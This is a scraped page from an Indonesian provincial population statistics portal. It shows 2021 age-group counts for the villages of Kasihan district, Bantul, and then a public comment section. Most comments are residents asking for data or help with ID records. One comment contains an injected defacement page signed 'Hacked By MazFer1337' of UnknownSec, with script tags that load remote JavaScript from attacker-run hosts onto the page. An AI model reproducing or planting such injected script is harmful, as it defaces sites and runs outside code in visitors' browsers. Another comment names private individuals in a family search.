Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN KASIHAN, KABUPATEN BANTUL, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaBANGUJIWOTIRTONIRMOLOTAMANTIRTONGESTIHARJOTotal
LPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun339311 650264208 472245252 497259238 4971.107 1.009 2.116
2 tahun202205 407172140 312183157 340207179 386764 681 1.445
3 tahun196195 391159148 307128166 294182204 386665 713 1.378
4 tahun193154 347141133 274182158 340198195 393714 640 1.354
5 tahun231183 414181142 323173170 343219223 442804 718 1.522
6 tahun201211 412172157 329188177 365220192 412781 737 1.518
7 tahun224203 427162150 312182160 342216204 420784 717 1.501
8 tahun207208 415192180 372195172 367259216 475853 776 1.629
9 tahun211203 414195163 358185201 386232220 452823 787 1.610
10 tahun203192 395196169 365182182 364207239 446788 782 1.570
11 tahun225196 421210180 390176174 350216221 437827 771 1.598
12 tahun196216 412202212 414170187 357225221 446793 836 1.629
13 tahun239211 450165189 354181153 334227232 459812 785 1.597
14 tahun237207 444199193 392217185 402223233 456876 818 1.694
15 tahun200196 396185159 344177147 324215210 425777 712 1.489
16 tahun183172 355194154 348164162 326225193 418766 681 1.447
17 tahun176180 356157155 312192170 362224205 429749 710 1.459
18 tahun225167 392182162 344163176 339216218 434786 723 1.509
19 tahun201179 380179161 340168153 321205234 439753 727 1.480
20 tahun199218 417210192 402184174 358222217 439815 801 1.616
21 tahun222205 427176204 380166183 349229219 448793 811 1.604
22 tahun223169 392150173 323150122 272187187 374710 651 1.361
23 tahun181203 384170170 340183151 334215220 435749 744 1.493
24 tahun192209 401162138 300142160 302211196 407707 703 1.410
25 tahun192211 403162169 331169171 340213224 437736 775 1.511
26 tahun235237 472201180 381182184 366241236 477859 837 1.696
27 tahun230229 459164152 316175191 366232230 462801 802 1.603
28 tahun201211 412152164 316180179 359206203 409739 757 1.496
29 tahun223201 424162155 317174189 363223200 423782 745 1.527
30 tahun225214 439141139 280155166 321216214 430737 733 1.470
31 tahun223228 451168165 333177176 353219231 450787 800 1.587
32 tahun184202 386150156 306165166 331196227 423695 751 1.446
33 tahun196187 383148155 303155183 338220199 419719 724 1.443
34 tahun202183 385156159 315169173 342219207 426746 722 1.468
35 tahun221225 446152168 320164164 328254233 487791 790 1.581
36 tahun240244 484181174 355190191 381239241 480850 850 1.700
37 tahun219209 428175194 369203204 407267253 520864 860 1.724
38 tahun255248 503215202 417201184 385275288 563946 922 1.868
39 tahun243238 481196187 383209214 423263234 497911 873 1.784
40 tahun230232 462176176 352232190 422249252 501887 850 1.737
41 tahun236216 452193213 406193182 375266245 511888 856 1.744
42 tahun219203 422179202 381199205 404242258 500839 868 1.707
43 tahun218217 435204179 383193195 388242200 442857 791 1.648
44 tahun211208 419182197 379193176 369250245 495836 826 1.662
45 tahun224225 449191185 376181197 378242225 467838 832 1.670
46 tahun215195 410197192 389185164 349228184 412825 735 1.560
47 tahun168181 349169176 345148162 310188218 406673 737 1.410
48 tahun201246 447170196 366175178 353224216 440770 836 1.606
49 tahun187204 391176160 336145167 312195229 424703 760 1.463
50 tahun218178 396185178 363152151 303211202 413766 709 1.475
51 tahun223223 446188195 383144179 323187210 397742 807 1.549
52 tahun226203 429171155 326156155 311186239 425739 752 1.491
53 tahun170201 371170166 336149179 328235207 442724 753 1.477
54 tahun151156 307174161 335148157 305202207 409675 681 1.356
55 tahun203209 412159169 328126173 299207244 451695 795 1.490
56 tahun169168 337126129 255151156 307164206 370610 659 1.269
57 tahun148160 308158156 314134141 275156241 397596 698 1.294
58 tahun171152 323130155 285124111 235184189 373609 607 1.216
59 tahun134143 277131138 269117124 241162192 354544 597 1.141
60 tahun127175 302121149 270130135 265160214 374538 673 1.211
61 tahun134151 285136136 272131141 272171197 368572 625 1.197
62 tahun121134 255122152 274119125 244189193 382551 604 1.155
63 tahun124134 258111125 23698113 211154171 325487 543 1.030
64 tahun114114 228102102 2048699 185136148 284438 463 901
65 tahun136105 2419294 1869779 176106135 241431 413 844
66 tahun9696 19211493 2077886 164128142 270416 417 833
67 tahun7278 1507759 1367063 133115126 241334 326 660
68 tahun8376 1595577 1327164 135103117 220312 334 646
69 tahun7551 1265368 1215476 1308599 184267 294 561
70 tahun8883 1714850 985257 1098588 173273 278 551
71 tahun6955 1245651 1074955 1047471 145248 232 480
72 tahun3841 794052 924339 827074 144191 206 397
73 tahun4348 913749 863430 644259 101156 186 342
74 tahun2939 682336 592936 653857 95119 168 287
75 tahun3767 1042943 723438 724353 96143 201 344
76 tahun3144 753038 682928 574642 88136 152 288
77 tahun2450 741936 552628 542734 6196 148 244
78 tahun3542 773637 732751 784354 97141 184 325
79 tahun1928 471625 411721 382627 5378 101 179
80 ke atas167272 439123162 285124189 313172231 403586 854 1.440
Jumlah13.97913.86327.84211.76711.66323.43011.58711.72223.30914.95515.27730.232 52.288 52.525 104.813
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih